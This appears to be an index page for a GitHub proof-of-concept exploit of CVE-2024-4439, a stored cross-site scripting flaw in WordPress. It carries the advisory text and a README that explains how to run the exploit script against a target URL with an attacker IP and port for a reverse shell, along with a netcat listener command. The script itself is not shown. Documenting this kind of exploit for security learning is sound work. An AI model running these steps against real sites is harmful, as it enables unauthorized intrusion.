CVE-2024-4439 PoC — WordPress 跨站脚本漏洞

Source

https://github.com/soltanali0/CVE-2024-4439

Associated Vulnerability

Title: WordPress 跨站脚本漏洞 (CVE-2024-4439)
Description:WordPress Core is vulnerable to Stored Cross-Site Scripting via user display names in the Avatar block in various versions up to 6.5.2 due to insufficient output escaping on the display name. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. In addition, it also makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that have the comment block present and display the comment author's avatar.

Description

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Readme

## Exploit CVE-2024-4439

This Python script demonstrates an exploit for the vulnerability **CVE-2024-4439**. You can use this script to test a vulnerable WordPress site.

### Usage
Before start

```bash
git clone https://github.com/soltanali0/CVE-2024-4439.git
cd CVE-2024-4439
pip install -r r.txt --break-system-packages
```

Run the script using the following command:

```bash
python3 exploit.py -u https://target.com/ --ip ServerIp --port 8000
```

- `-u`: Specifies the target URL of the WordPress site.
- `--ip`: Defines the attacker's IP address.
- `--port`: Indicates the port number to be used for the reverse shell.

and Run netcat on server 

```bash
nc -lvp 8000
```

### About GO-TO CVE

**GO-TO CVE** is a dedicated channel where I explore various vulnerabilities, their impacts, and mitigation strategies. I publish detailed analyses of specific CVEs each week, including proof-of-concept (PoC) exploits, code snippets, and explanations of how attackers can leverage these vulnerabilities.

In this channel, I aim to educate security enthusiasts and professionals about the importance of vulnerability awareness and the steps needed to protect against potential threats. By understanding vulnerabilities like **CVE-2024-4439**, we can better prepare ourselves to defend our systems and applications.

Join me in this journey of learning and sharing knowledge in cybersecurity!

• https://t.me/GOTOCVE

### Reference

• https://github.com/d0rb/CVE-2024-4439
• https://github.com/MielPopsssssss/CVE-2024-4439

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